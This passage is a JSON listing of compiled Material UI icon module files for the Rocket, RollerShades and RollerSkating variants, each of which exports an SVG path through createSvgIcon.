    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.41 2.87c.35-.26.82-.26 1.18 0 1.22.88 3.91 3.59 3.91 10.13 0 2.16-.78 4.76-1.36 6.35-.14.39-.51.65-.93.65H9.8c-.42 0-.8-.26-.94-.65C8.28 17.76 7.5 15.16 7.5 13c0-6.54 2.69-9.25 3.91-10.13M14 11c0-1.1-.9-2-2-2s-2 .9-2 2 .9 2 2 2 2-.9 2-2m-6.31 9.52c-.48-1.23-1.52-4.17-1.67-6.87l-1.13.75c-.56.38-.89 1-.89 1.67v4.45c0 .71.71 1.19 1.37.93zm12.31 0v-4.45c0-.67-.33-1.29-.89-1.66l-1.13-.75c-.15 2.69-1.2 5.64-1.67 6.87l2.32.93c.66.25 1.37-.23 1.37-.94\"\n}), 'RocketRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/RocketRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.41 2.87c.35-.26.82-.26 1.18 0 1.22.88 3.91 3.59 3.91 10.13 0 2.16-.78 4.76-1.36 6.35-.14.39-.51.65-.93.65H9.8c-.42 0-.8-.26-.94-.65C8.28 17.76 7.5 15.16 7.5 13c0-6.54 2.69-9.25 3.91-10.13M14 11c0-1.1-.9-2-2-2s-2 .9-2 2 .9 2 2 2 2-.9 2-2m-6.31 9.52c-.48-1.23-1.52-4.17-1.67-6.87l-1.13.75c-.56.38-.89 1-.89 1.67v4.45c0 .71.71 1.19 1.37.93zm12.31 0v-4.45c0-.67-.33-1.29-.89-1.66l-1.13-.75c-.15 2.69-1.2 5.64-1.67 6.87l2.32.93c.66.25 1.37-.23 1.37-.94\"\n}), 'RocketRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/RocketSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2.5s4.5 2.04 4.5 10.5c0 2.49-1.04 5.57-1.6 7H9.1c-.56-1.43-1.6-4.51-1.6-7C7.5 4.54 12 2.5 12 2.5m2 8.5c0-1.1-.9-2-2-2s-2 .9-2 2 .9 2 2 2 2-.9 2-2m-6.31 9.52c-.48-1.23-1.52-4.17-1.67-6.87L4 15v7zM20 22v-7l-2.02-1.35c-.15 2.69-1.2 5.64-1.67 6.87z\"\n}), 'RocketSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/RocketSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2.5s4.5 2.04 4.5 10.5c0 2.49-1.04 5.57-1.6 7H9.1c-.56-1.43-1.6-4.51-1.6-7C7.5 4.54 12 2.5 12 2.5m2 8.5c0-1.1-.9-2-2-2s-2 .9-2 2 .9 2 2 2 2-.9 2-2m-6.31 9.52c-.48-1.23-1.52-4.17-1.67-6.87L4 15v7zM20 22v-7l-2.02-1.35c-.15 2.69-1.2 5.64-1.67 6.87z\"\n}), 'RocketSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/RocketTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.98 18.25c-.29-.9-.57-1.94-.76-3L6 16.07v2.98zM12 4.36S9 6.38 9 13c0 2.25 1 5 1 5h4s1-2.75 1-5c0-6.62-3-8.64-3-8.64M12 13c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2m6 6.05v-2.98l-1.22-.81c-.19 1.05-.47 2.1-.76 3z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 11c0-1.1-.9-2-2-2s-2 .9-2 2 .9 2 2 2 2-.9 2-2m-6.02 7.25c-.29-.9-.57-1.94-.76-3L6 16.07v2.98zM12 2s5 2 5 11l2.11 1.41c.56.37.89 1 .89 1.66V22l-5-2H9l-5 2v-5.93c0-.67.33-1.29.89-1.66L7 13c0-9 5-11 5-11m0 2.36S9 6.38 9 13c0 2.25 1 5 1 5h4s1-2.75 1-5c0-6.62-3-8.64-3-8.64m6 14.69v-2.98l-1.22-.81c-.19 1.05-.47 2.1-.76 3z\"\n}, \"1\")], 'RocketTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/RocketTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.98 18.25c-.29-.9-.57-1.94-.76-3L6 16.07v2.98zM12 4.36S9 6.38 9 13c0 2.25 1 5 1 5h4s1-2.75 1-5c0-6.62-3-8.64-3-8.64M12 13c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2m6 6.05v-2.98l-1.22-.81c-.19 1.05-.47 2.1-.76 3z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 11c0-1.1-.9-2-2-2s-2 .9-2 2 .9 2 2 2 2-.9 2-2m-6.02 7.25c-.29-.9-.57-1.94-.76-3L6 16.07v2.98zM12 2s5 2 5 11l2.11 1.41c.56.37.89 1 .89 1.66V22l-5-2H9l-5 2v-5.93c0-.67.33-1.29.89-1.66L7 13c0-9 5-11 5-11m0 2.36S9 6.38 9 13c0 2.25 1 5 1 5h4s1-2.75 1-5c0-6.62-3-8.64-3-8.64m6 14.69v-2.98l-1.22-.81c-.19 1.05-.47 2.1-.76 3z\"\n}, \"1\")], 'RocketTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/RollerShades.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 19V3H4v16H2v2h20v-2zM6 19v-6h5v1.8c-.4.3-.8.8-.8 1.4 0 1 .8 1.8 1.8 1.8s1.8-.8 1.8-1.8c0-.6-.3-1.1-.8-1.4V13h5v6z\"\n}), 'RollerShades');"
  },
  {
    "path": "packages/mui-icons-material/lib/RollerShades.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 19V3H4v16H2v2h20v-2zM6 19v-6h5v1.8c-.4.3-.8.8-.8 1.4 0 1 .8 1.8 1.8 1.8s1.8-.8 1.8-1.8c0-.6-.3-1.1-.8-1.4V13h5v6z\"\n}), 'RollerShades');"
  },
  {
    "path": "packages/mui-icons-material/lib/RollerShadesClosed.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 19V3H4v16H2v2h8.25c0 .97.78 1.75 1.75 1.75s1.75-.78 1.75-1.75H22v-2zM6 19v-2h5v2zm7 0v-2h5v2z\"\n}), 'RollerShadesClosed');"
  },
  {
    "path": "packages/mui-icons-material/lib/RollerShadesClosed.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 19V3H4v16H2v2h8.25c0 .97.78 1.75 1.75 1.75s1.75-.78 1.75-1.75H22v-2zM6 19v-2h5v2zm7 0v-2h5v2z\"\n}), 'RollerShadesClosed');"
  },
  {
    "path": "packages/mui-icons-material/lib/RollerShadesClosedOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 19V3H4v16H2v2h8.25c0 .97.78 1.75 1.75 1.75s1.75-.78 1.75-1.75H22v-2zM18 5v10H6V5zM6 19v-2h5v2zm7 0v-2h5v2z\"\n}), 'RollerShadesClosedOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/RollerShadesClosedOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 19V3H4v16H2v2h8.25c0 .97.78 1.75 1.75 1.75s1.75-.78 1.75-1.75H22v-2zM18 5v10H6V5zM6 19v-2h5v2zm7 0v-2h5v2z\"\n}), 'RollerShadesClosedOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/RollerShadesClosedRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 19V5c0-1.1-.9-2-2-2H6c-1.1 0-2 .9-2 2v14H3c-.55 0-1 .45-1 1s.45 1 1 1h7.25c0 .97.78 1.75 1.75 1.75s1.75-.78 1.75-1.75H21c.55 0 1-.45 1-1s-.45-1-1-1zM6 19v-2h5v2zm7 0v-2h5v2z\"\n}), 'RollerShadesClosedRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/RollerShadesClosedRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 19V5c0-1.1-.9-2-2-2H6c-1.1 0-2 .9-2 2v14H3c-.55 0-1 .45-1 1s.45 1 1 1h7.25c0 .97.78 1.75 1.75 1.75s1.75-.78 1.75-1.75H21c.55 0 1-.45 1-1s-.45-1-1-1zM6 19v-2h5v2zm7 0v-2h5v2z\"\n}), 'RollerShadesClosedRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/RollerShadesClosedSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 19V3H4v16H2v2h8.25c0 .97.78 1.75 1.75 1.75s1.75-.78 1.75-1.75H22v-2zM6 19v-2h5v2zm7 0v-2h5v2z\"\n}), 'RollerShadesClosedSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/RollerShadesClosedSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 19V3H4v16H2v2h8.25c0 .97.78 1.75 1.75 1.75s1.75-.78 1.75-1.75H22v-2zM6 19v-2h5v2zm7 0v-2h5v2z\"\n}), 'RollerShadesClosedSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/RollerShadesClosedTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 5h12v10H6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 19V3H4v16H2v2h8.25c0 .97.78 1.75 1.75 1.75s1.75-.78 1.75-1.75H22v-2zm-9 0H6v-2h5zm7 0h-5v-2h5zm0-4H6V5h12z\"\n}, \"1\")], 'RollerShadesClosedTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/RollerShadesClosedTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 5h12v10H6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 19V3H4v16H2v2h8.25c0 .97.78 1.75 1.75 1.75s1.75-.78 1.75-1.75H22v-2zm-9 0H6v-2h5zm7 0h-5v-2h5zm0-4H6V5h12z\"\n}, \"1\")], 'RollerShadesClosedTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/RollerShadesOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 19V3H4v16H2v2h20v-2zM18 5v6H6V5zM6 19v-6h5v1.82c-.45.32-.75.84-.75 1.43 0 .97.78 1.75 1.75 1.75s1.75-.78 1.75-1.75c0-.59-.3-1.12-.75-1.43V13h5v6z\"\n}), 'RollerShadesOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/RollerShadesOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 19V3H4v16H2v2h20v-2zM18 5v6H6V5zM6 19v-6h5v1.82c-.45.32-.75.84-.75 1.43 0 .97.78 1.75 1.75 1.75s1.75-.78 1.75-1.75c0-.59-.3-1.12-.75-1.43V13h5v6z\"\n}), 'RollerShadesOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/RollerShadesRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 19V5c0-1.1-.9-2-2-2H6c-1.1 0-2 .9-2 2v14H3c-.55 0-1 .45-1 1s.45 1 1 1h18c.55 0 1-.45 1-1s-.45-1-1-1zM6 19v-6h5v1.8c-.4.3-.8.8-.8 1.4 0 1 .8 1.8 1.8 1.8s1.8-.8 1.8-1.8c0-.6-.3-1.1-.8-1.4V13h5v6z\"\n}), 'RollerShadesRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/RollerShadesRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 19V5c0-1.1-.9-2-2-2H6c-1.1 0-2 .9-2 2v14H3c-.55 0-1 .45-1 1s.45 1 1 1h18c.55 0 1-.45 1-1s-.45-1-1-1zM6 19v-6h5v1.8c-.4.3-.8.8-.8 1.4 0 1 .8 1.8 1.8 1.8s1.8-.8 1.8-1.8c0-.6-.3-1.1-.8-1.4V13h5v6z\"\n}), 'RollerShadesRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/RollerShadesSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 19V3H4v16H2v2h20v-2zM6 19v-6h5v1.8c-.4.3-.8.8-.8 1.4 0 1 .8 1.8 1.8 1.8s1.8-.8 1.8-1.8c0-.6-.3-1.1-.8-1.4V13h5v6z\"\n}), 'RollerShadesSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/RollerShadesSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 19V3H4v16H2v2h20v-2zM6 19v-6h5v1.8c-.4.3-.8.8-.8 1.4 0 1 .8 1.8 1.8 1.8s1.8-.8 1.8-1.8c0-.6-.3-1.1-.8-1.4V13h5v6z\"\n}), 'RollerShadesSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/RollerShadesTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 5h12v6H6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 19V3H4v16H2v2h20v-2zm-2 0H6v-6h5v1.82c-.45.32-.75.84-.75 1.43 0 .97.78 1.75 1.75 1.75s1.75-.78 1.75-1.75c0-.59-.3-1.12-.75-1.43V13h5zm0-8H6V5h12z\"\n}, \"1\")], 'RollerShadesTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/RollerShadesTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 5h12v6H6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 19V3H4v16H2v2h20v-2zm-2 0H6v-6h5v1.82c-.45.32-.75.84-.75 1.43 0 .97.78 1.75 1.75 1.75s1.75-.78 1.75-1.75c0-.59-.3-1.12-.75-1.43V13h5zm0-8H6V5h12z\"\n}, \"1\")], 'RollerShadesTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/RollerSkating.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 6.5c0-.28.22-.5.5-.5h2.52L12 5H9.5c-.28 0-.5-.22-.5-.5s.22-.5.5-.5H12V1H4v15h16v-2.88c0-2.1-1.55-3.53-3.03-3.88l-2.7-.67c-.87-.22-1.57-.81-1.95-1.57H9.5c-.28 0-.5-.22-.5-.5M5 23c-1.66 0-3-1.34-3-3s1.34-3 3-3 3 1.34 3 3-1.34 3-3 3m14 0c-1.66 0-3-1.34-3-3s1.34-3 3-3 3 1.34 3 3-1.34 3-3 3m-7 0c-1.66 0-3-1.34-3-3s1.34-3 3-3 3 1.34 3 3-1.34 3-3 3\"\n}), 'RollerSkating');"
  },
  {
    "path": "packages/mui-icons-material/lib/RollerSkating.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 6.5c0-.28.22-.5.5-.5h2.52L12 5H9.5c-.28 0-.5-.22-.5-.5s.22-.5.5-.5H12V1H4v15h16v-2.88c0-2.1-1.55-3.53-3.03-3.88l-2.7-.67c-.87-.22-1.57-.81-1.95-1.57H9.5c-.28 0-.5-.22-.5-.5M5 23c-1.66 0-3-1.34-3-3s1.34-3 3-3 3 1.34 3 3-1.34 3-3 3m14 0c-1.66 0-3-1.34-3-3s1.34-3 3-3 3 1.34 3 3-1.34 3-3 3m-7 0c-1.66 0-3-1.34-3-3s1.34-3 3-3 3 1.34 3 3-1.34 3-3 3\"\n}), 'RollerSkating');"
  },
  {
    "path": "packages/mui-icons-material/lib/RollerSkatingOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 12c0-1.79-1.19-3.34-2.91-3.82l-2.62-.74C13.62 7.19 13 6.39 13 5.5V1H4v15h16zm-2 2H6V3h5v1H9.5c-.28 0-.5.22-.5.5s.22.5.5.5H11l.1 1H9.5c-.28 0-.5.22-.5.5s.22.5.5.5h1.81c.45 1.12 1.4 2.01 2.6 2.36l2.62.73C17.4 10.33 18 11.1 18 12zM5 17c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3m0 4c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m14-4c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3m0 4c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m-7-4c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3m0 4c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'RollerSkatingOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/RollerSkatingOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 12c0-1.79-1.19-3.34-2.91-3.82l-2.62-.74C13.62 7.19 13 6.39 13 5.5V1H4v15h16zm-2 2H6V3h5v1H9.5c-.28 0-.5.22-.5.5s.22.5.5.5H11l.1 1H9.5c-.28 0-.5.22-.5.5s.22.5.5.5h1.81c.45 1.12 1.4 2.01 2.6 2.36l2.62.73C17.4 10.33 18 11.1 18 12zM5 17c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3m0 4c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m14-4c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3m0 4c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m-7-4c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3m0 4c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'RollerSkatingOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/RollerSkatingRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 16c1.1 0 2-.9 2-2v-.88c0-2.1-1.55-3.53-3.03-3.88l-2.7-.67c-.87-.22-1.57-.81-1.95-1.57H9.5c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h2.52L12 5H9.5c-.28 0-.5-.22-.5-.5s.22-.5.5-.5H12V3c0-1.1-.9-2-2-2H6c-1.1 0-2 .9-2 2v11c0 1.1.9 2 2 2zM5 23c-1.66 0-3-1.34-3-3s1.34-3 3-3 3 1.34 3 3-1.34 3-3 3m14 0c-1.66 0-3-1.34-3-3s1.34-3 3-3 3 1.34 3 3-1.34 3-3 3m-7 0c-1.66 0-3-1.34-3-3s1.34-3 3-3 3 1.34 3 3-1.34 3-3 3\"\n}), 'RollerSkatingRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/RollerSkatingRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 16c1.1 0 2-.9 2-2v-.88c0-2.1-1.55-3.53-3.03-3.88l-2.7-.67c-.87-.22-1.57-.81-1.95-1.57H9.5c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h2.52L12 5H9.5c-.28 0-.5-.22-.5-.5s.22-.5.5-.5H12V3c0-1.1-.9-2-2-2H6c-1.1 0-2 .9-2 2v11c0 1.1.9 2 2 2zM5 23c-1.66 0-3-1.34-3-3s1.34-3 3-3 3 1.34 3 3-1.34 3-3 3m14 0c-1.66 0-3-1.34-3-3s1.34-3 3-3 3 1.34 3 3-1.34 3-3 3m-7 0c-1.66 0-3-1.34-3-3s1.34-3 3-3 3 1.34 3 3-1.34 3-3 3\"\n}), 'RollerSkatingRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/RollerSkatingSharp.js",
